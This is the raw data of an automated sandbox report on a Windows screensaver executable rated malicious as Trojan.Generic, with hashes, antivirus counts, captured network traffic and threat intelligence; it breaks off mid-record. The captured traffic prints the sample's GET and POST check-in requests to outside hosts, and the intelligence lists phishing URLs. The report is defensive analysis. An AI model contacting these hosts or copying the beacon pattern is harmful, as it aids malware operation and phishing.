26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample bb2cbfe187ef… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bb2cbfe187ef…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 13 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9"],"about":{"@type":"SoftwareApplication","name":"internal_31572.scr","applicationCategory":["peexe","executable"],"identifier":"bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":24,"total":28},"behavioralIndicators":{"malicious":13,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Taff,"GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ip-addr.es Cache-Control: no-cache" "GET /dreamleaparchitects.com/img4.php?h=x0tkp22tgik HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: www.dreamleaparchitects.com" "GET /img2.php?r=x0tkp22tgik HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: www.decisiondock.com" "GET /img4.php?b=x0tkp22tgik HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: elapublicidad.com" "GET /suspended.page/disabled.cgi/therumorbuster.com?k=x0tkp22tgik HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: box886.bluehost.com" "GET /dreamleaparchitects.com/img4.php?u=2wkazvxvskni HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: www.dreamleaparchitects.com" "GET /img2.php?u=2wkazvxvskni HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: www.decisiondock.com" "GET /img4.php?l=2wkazvxvskni HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: elapublicidad.com" "GET /suspended.page/disabled.cgi/therumorbuster.com?j=2wkazvxvskni HTTP/1.1 Accept: */* Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Cache-Control: no-cache Host: box886.bluehost.com"28:T8e4,"HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:23 GMT Server: Apache/2.4.9 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 Content-Length: 477 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:26 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 Content-Length: 453 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:21 GMT Server: Apache Last-Modified: Sun, 03 May 2015 11:24:17 GMT ETag: "1330979-402-5152baf935a40" Accept-Ranges: bytes Content-Length: 1026 X-Powered-By: PleskLin Connection: close Content-Type: text/html" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:28 GMT Server: Apache/2.2.15 Content-Length: 215 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:28 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.4.42 Content-Length: 473 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:40 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 PHP/5.5.20 Content-Length: 325 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Server: nginx/1.8.0 Date: Thu, 05 Nov 2015 17:35:41 GMT Content-Type: text/html Content-Length: 570 Connection: close" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:41 GMT Server: Apache Content-Length: 400 Connection: close Content-Type: text/html; charset=iso-8859-1" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:57 GMT Server: Apache Last-Modified: Tue, 08 Sep 2015 16:13:59 GMT ETag: "a087d-3be-51f3ea75a7fb0" Accept-Ranges: bytes Content-Length: 958 Vary: Accept-Encoding X-Powered-By: PleskLin Connection: close Content-Type: text/html" "HTTP/1.1 404 Not Found Date: Thu, 05 Nov 2015 17:35:58 GMT Server: Apache X-Pingback: http://www.preciousmetalsrarecoininvestments.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8"29:Tf31,"HTTP/1.1 200 OK Date: Thu, 05 Nov 2015 17:35:18 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 05 Nov 2015 17:35:18 GMT Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache X-XSS-Protection: 1 Server: DYNAMIC+" with no payload "POST /img4.php?h=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: dreamleaparchitects.com Cache-Control: no-cache" with no payload "POST /img4.php?o=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: almjobs.com Cache-Control: no-cache" with no payload "POST /img4.php?m=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ingesof.com Cache-Control: no-cache" with no payload "POST /img5.php?a=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jake-angela.com Cache-Control: no-cache" with no payload "POST /img5.php?k=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: dh-solutions.net Cache-Control: no-cache" with no payload "POST /img2.php?t=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: marivaldakariri.net Cache-Control: no-cache" with no payload "POST /televisa/img1.php?c=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: creativoplasma.com Cache-Control: no-cache" with no payload "POST /img2.php?q=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: crushtrack.com Cache-Control: no-cache" with no payload "POST /img2.php?r=x0tkp22tgik HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 132 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: decisiondock.com Cache-Control: no-cache" with no payload2a:T231e,Found malicious artifacts related to "205.134.238.142" (ASN: 22611, Owner: InMotion Hosting, Inc.): ... URL: http://plugvideo.com/web/orderinfo (AV positives: 4/65 scanned on 10/20/2015 15:17:47) URL: http://plugvideo.com/web/html (AV positives: 4/65 scanned on 10/19/2015 20:50:15) URL: http://plugvideo.com/web/invoices (AV positives: 4/65 scanned on 10/19/2015 20:50:13) URL: http://www.plugvideo.com/ (AV positives: 1/65 scanned on 10/19/2015 01:49:48) URL: http://www.ogdenkraut.com/bookavailability.html (AV positives: 1/65 scanned on 10/14/2015 10:12:17) File SHA256: f818736ee56d671a6f7ea343782e13bfb1aab017f25a95cd9a29443079a6a7fe (AV positives: 1/51 scanned on 12/29/2014 03:52:58) File SHA256: 53026b8eb8c63a89b4f2945d1f1303536daad4831a501d22cbb9f10fa8c77748 (AV positives: 7/55 scanned on 10/04/2014 11:31:52) File SHA256: 6d02d0c1c0d7bcc73a4f4e675eb857eeb105cea352b1a06c520a7ee3dea57511 (AV positives: 20/55 scanned on 09/02/2014 15:16:08) File SHA256: c06de1f1a9f453e3b9beac02a205d0f5f543f79339f312b01d4f6764fd408905 (AV positives: 16/50 scanned on 03/28/2014 20:52:32) File SHA256: 93dbe0217a4411da4a910048156a22a35468d05e86d264904a689f61f61048a7 (AV positives: 21/49 scanned on 03/12/2014 18:39:28) Found malicious artifacts related to "198.58.92.228" (ASN: 36351, Owner: SoftLayer Technologies Inc.): ... URL: http://www.poin2.com/~udsarch/switch-security-company-server-togh-customer-portal/Home/update/59cc43a25ebc33f5d75ed55d3f84e50c (AV positives: 6/66 scanned on 11/05/2015 11:09:47) URL: http://beautyql.elance.arvixe.com/moncompte/522e78ab4a08c2cb465766dd9f1260c2 (AV positives: 7/66 scanned on 11/05/2015 11:09:39) URL: http://beautyql.elance.arvixe.com/moncompte/3cec7eb040a0d01487c7019ebeb1fdc3 (AV positives: 8/66 scanned on 11/05/2015 11:09:19) URL: http://beautyql.elance.arvixe.com/moncompte/6f95ae09365197323e09db8bbb7629b0 (AV positives: 8/66 scanned on 11/05/2015 11:09:02) URL: http://beautyql.elance.arvixe.com/moncompte/b8483459dbba60583328c13ac9f2aabd (AV positives: 7/66 scanned on 11/05/2015 11:08:49) File SHA256: 32b29de3870a9e34547ea42c239f0ff9c83242388ad74c91403ea31b8c5f520d (AV positives: 27/57 scanned on 11/01/2015 11:01:27) File SHA256: d6e1ce8091f57846ce62edd7832d485c55002b795c08e307bbbc60fabd0c5772 (AV positives: 5/57 scanned on 10/26/2015 16:12:17) File SHA256: 9d9327ce9e7c5cff312db279aa684998adcbfb142639e64ee491a68377da6ce5 (AV positives: 3/57 scanned on 10/16/2015 16:58:57) File SHA256: 7d9b8934e03e420f70ba0470a753431fd241b2f67678289b0645cc7f0f61aad5 (AV positives: 2/56 scanned on 10/05/2015 17:58:47) File SHA256: c82241ac65897d8839f4512bf5d473f585eb34043d8c81e2f630a887a8698bd0 (AV positives: 24/57 scanned on 09/27/2015 00:16:58) Found malicious artifacts related to "72.29.81.177" (ASN: 33182, Owner: HostDime.com, Inc.): ... URL: http://syp.ac.in/ (AV positives: 2/66 scanned on 11/05/2015 07:57:03) URL: http://syp.ac.in/everywhere.php?rich=gr1wq0y2nt7b6x (AV positives: 2/66 scanned on 11/05/2015 07:23:46) URL: http://www.muimt.ac.in/js/jquery.min.php (AV positives: 1/66 scanned on 11/04/2015 21:42:48) URL: http://muimt.ac.in/ (AV positives: 3/65 scanned on 11/03/2015 04:06:22) URL: http://www.muimt.ac.in/ (AV positives: 3/65 scanned on 10/31/2015 22:12:04) File SHA256: bee9111376920caa012f0b11675cdaa3c44e8e8c6d550416c07073e5b8d7c9c4 (AV positives: 36/57 scanned on 09/09/2015 08:39:52) File SHA256: 22d8aa243bcdf514e3827630aeb35b1dd3398df94273646178601cdbd6942167 (AV positives: 29/57 scanned on 09/08/2015 21:14:57) File SHA256: 211199ae7a1d10dacf7032ab9c6b9558429f74e3dccc43f83cc72c9e7d1d15cf (AV positives: 29/57 scanned on 06/22/2015 06:09:25) File SHA256: ab7dda033ccc8e64688515e1dc4e4c5f75b23a9b54852745070f2fd566e9cb69 (AV positives: 35/57 scanned on 06/22/2015 06:09:22) File SHA256: f805ec49234d8de082c3b2c538c3e7c645218a0acf2b26aa1aeb04d79090a58b (AV positives: 5/57 scanned on 06/10/2015 11:20:15) Found malicious artifacts related to "184.168.221.21" (ASN: 26496, Owner: GoDaddy.com, LLC): ... URL: http://asianlaw-un.org/ (AV positives: 3/66 scanned on 11/05/2015 15:44:05) URL: http://xl-ha.com/ (AV positives: 3/66 scanned on 11/05/2015 15:11:54) URL: http://www.luxuryhomeexpertsoflasvegas.com/~toks/config/index.html (AV positives: 4/66 scanned on 11/05/2015 10:31:45) URL: http://www.celtictraverse.com/UsaaBank/15d15a174b0c64a347d6b4403bc52ed4 (AV positives: 5/66 scanned on 11/05/2015 10:20:34) URL: http://www.billrappnissan.com/Paypal.html (AV positives: 4/66 scanned on 11/05/2015 10:15:42) File SHA256: a46eef118bd4d567d19d0ea8a93d0d22cecdc41733ef8be767a6e9573dca1410 (AV positives: 16/55 scanned on 02/08/2015 06:46:54) File SHA256: d444268e3c5fe0415891d2f4793014976d96037f29d28c26887fe6dfc8ee9cbd (AV positives: 3/46 scanned on 05/14/2013 23:21:54) File SHA256: f2befe2a28967c439f8c69071fac5379d1108c57cec8d1de334c33c1a87efc9d (AV positives: 24/46 scanned on 05/12/2013 15:23:05) File SHA256: 0f2645329f02d00f7f11ea50f7c094c69ee4cbc169aff0a7fc33f1eb35b95578 (AV positives: 1/46 scanned on 05/06/2013 13:41:42) Found malicious artifacts related to "69.89.22.148" (ASN: 46606, Owner: Unified Layer): ... URL: http://californiainsuranceco.com/ (AV positives: 2/65 scanned on 11/02/2015 22:20:00) URL: http://californiainsuranceco.com/img4.php?q=zdedws10nko4r (AV positives: 4/63 scanned on 09/03/2015 14:30:04) URL: http://californiainsuranceco.com/img4.php?j=19ohsx578f70f (AV positives: 4/63 scanned on 09/03/2015 14:03:02) URL: http://californiainsuranceco.com/img4.php?f=32o75h242fb (AV positives: 4/63 scanned on 09/02/2015 16:19:04) URL: http://californiainsuranceco.com/img4.php?t=bf6hqzk3bdwb (AV positives: 4/63 scanned on 09/01/2015 02:31:17) File SHA256: e94857df51cdbae2c2ee7411b217f9ac942a233e599d5702896c3ec6f8eeba8b (AV positives: 23/54 scanned on 09/02/2015 13:06:12) File SHA256: ff5dc7eb93f923d5892b745c09e99b0e81483ba075535482e9182b592c3747bf (AV positives: 13/52 scanned on 08/11/2015 02:45:17) File SHA256: ffa18ffabca82258ea978f04d21fa2c8b3773ea6bb24511d96e27788b579fafd (AV positives: 2/57 scanned on 03/16/2015 18:52:08) File SHA256: db46fcd9aa60f2b8f33646b7d872e4f9b755fa116643eacacd784df83f39ed14 (AV positives: 4/46 scanned on 12/03/2013 13:26:15) File SHA256: d8dfd992a9f3d502b6bda44a94d8a9aefd4be6d032bfe45bd078835c27dabdaa (AV positives: 3/48 scanned on 09/27/2013 15:00:54) Found malicious artifacts related to "69.195.124.86" (ASN: 46606, Owner: Unified Layer): ... URL: http://hausofguns.com/ (AV positives: 2/66 scanned on 11/05/2015 13:28:17) URL: http://www.hausofguns.com/ (AV positives: 2/66 scanned on 11/05/2015 13:27:19) URL: http://kwccanada.com/includes/dropbox/login.php (AV positives: 12/66 scanned on 11/05/2015 09:23:27) URL: http://www.thesoundadvisor.com/wp-content/plugins/office/28c00951ed24392e8662ebe04ce81081 (AV positives: 3/66 scanned on 11/05/2015 08:47:06) URL: http://thesoundadvisor.com/wp-content/plugins/office/28c00951ed24392e8662ebe04ce81081 (AV positives: 4/66 scanned on 11/05/2015 08:45:32) File SHA256: c77a6cf163b3e0a7801c7e0c5061b7aae917196b6d26ad3ce74842a9b508cac3 (AV positives: 23/56 scanned on 11/02/2015 09:59:21) File SHA256: 994baf77ef3a528bcb3dcfabe042c52d3bea3058c33888048bf490040b3a79d3 (AV positives: 1/55 scanned on 09/13/2015 02:25:35) File SHA256: 0fb970b60dd16fe93b59e5d7eed7aa8c4d7f9f7c85b8755bf79e640249e999e6 (AV positives: 2/57 scanned on 04/01/2015 09:23:01) File SHA256: b2b8ff1de6ba9a02ba2343a3de6ac243efdcd9da23a33c5455559c5ff8035e2b (AV positives: 3/56 scanned on 03/25/2015 13:57:49) File SHA256: cb2884c2fa08b22b106f6bd2536ded5a4d56cd49543c20e151bd5f97bd8338ce (AV positives: 4/56 scanned on 02/27/2015 23:06:27) Found malicious artifacts related to "74.220.199.6" (ASN: 46606, Owner: Unified Layer): ... URL: http://ejaculationbycommandreviewed.org/ (AV positives: 1/66 scanned on 11/05/2015 15:27:30) URL: http://valid-infos.com/Lecl.InformatioIDNumero6fdLoniCL10169/3f71cbcf81502fd7869841ba4b0f4b17 (AV positives: 5/66 scanned on 11/05/2015 11:09:30) URL: http://server.techalo.com/barclaycard/login.php (AV positives: 7/66 scanned on 11/05/2015 11:09:09) URL: http://www.iphotoday.com/docfile/fileindex.htm (AV positives: 9/66 scanned on 11/05/2015 11:08:38) URL: http://www.publicbanker.com/components/amazonuk/index.htm (AV positives: 8/66 scanned on 11/05/2015 11:06:46) File SHA256: 16dbf8ab0a8f26966e667903cb04b2c082b039fdfb51d9f95be1a0aa04519cf1 (AV positives: 1/57 scanned on 11/05/2015 10:09:19) File SHA256: 9dca181b3d1b541c565e86594a3e242dafd8a4dc49083417e1aa93f2c7941004 (AV positives: 1/56 scanned on 11/05/2015 09:03:29) File SHA256: 71f12a1f3055ca352f193604d337f6f82ac5dbccc37a1bdef5e314e289cf14bc (AV positives: 1/56 scanned on 11/05/2015 08:54:53) File SHA256: 1b6c3e11c23719896498ada94990c1f3019a23b874a7fa151f514025bebe98ce (AV positives: 1/50 scanned on 05/21/2014 01:45:56) File SHA256: 96750fe5c9c8c79b76e7c6e3494f7f4010415894be247bbbeddf46cb8d716af0 (AV positives: 1/50 scanned on 03/20/2014 17:55:28)2b:T7f8,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:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791287177483,"unified_at":"2026-10-06T11:46:17.483Z","metadata":{"hashes":{"sha256":"bb2cbfe187efe5516dcdc42472079d25b2c7be462802df209aa6386269d5afc9","sha1":"043f7cd8a45497eb4058f2a9a7ac56b396674b21","md5":"5f3e8e6891e96477d4d9cba602e86966","sha512":"5469d4d4869d9767f931ca87d9a1b936c98251b234a77d2b1f57e037276398b54b7b36fe33ca23c4c4dd18440cfc8539e016feb9a70063d163916225bf0a4891","ssdeep":"6144:2Cha39c49QSKTG9491OcrRF2zV2qV4hGm4V:2EK9ccfeG94i08zVl4w5","ssdeep_chunks":["6144:2Cha39c","6144:Cha39c4","6144:ha39c49","6144:a39c49Q","6144:39c49QS","6144:9c49QSK","6144:c49QSKT","6144:49QSKTG","6144:9QSKTG9","6144:QSKTG94","6144:SKTG949","6144:KTG9491","6144:TG9491O","6144:G9491Oc","6144:9491Ocr","6144:491OcrR","6144:91OcrRF","6144:1OcrRF2","6144:OcrRF2z","6144:crRF2zV","6144:rRF2zV2","6144:RF2zV2q","6144:F2zV2qV","6144:2zV2qV4","6144:zV2qV4h","6144:V2qV4hG","6144:2qV4hGm","6144:qV4hGm4","6144:V4hGm4V","12288:2Cha39c","12288:Cha39c4","12288:ha39c49","12288:a39c49Q","12288:39c49QS","12288:9c49QSK","12288:c49QSKT","12288:49QSKTG","12288:9QSKTG9","12288:QSKTG94","12288:SKTG949","12288:KTG9491","12288:TG9491O","12288:G9491Oc","12288:9491Ocr","12288:491OcrR","12288:91OcrRF","12288:1OcrRF2","12288:OcrRF2z","12288:crRF2zV","12288:rRF2zV2","12288:RF2zV2q","12288:F2zV2qV","12288:2zV2qV4","12288:zV2qV4h","12288:V2qV4hG","12288:2qV4hGm","12288:qV4hGm4","12288:V4hGm4V","6144:2EK9ccf","6144:EK9ccfe","6144:K9ccfeG","6144:9ccfeG9","6144:ccfeG94","6144:cfeG94i","6144:feG94i0","6144:eG94i08","6144:G94i08z","6144:94i08zV","6144:4i08zVl","6144:i08zVl4","6144:08zVl4w","6144:8zVl4w5"],"imphash":"d0392c53f951a8c3883dc994d205d151"},"file_info":{"file_name":"internal_31572.scr","file_type":["peexe","executable"],"file_type_id":"exe","file_size":229444,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499291240000,"last_seen":1639066101000,"last_multi_scan":1639066101000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":24,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":12,"suspicious_count":16,"malicious_count":13,"total":41},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/me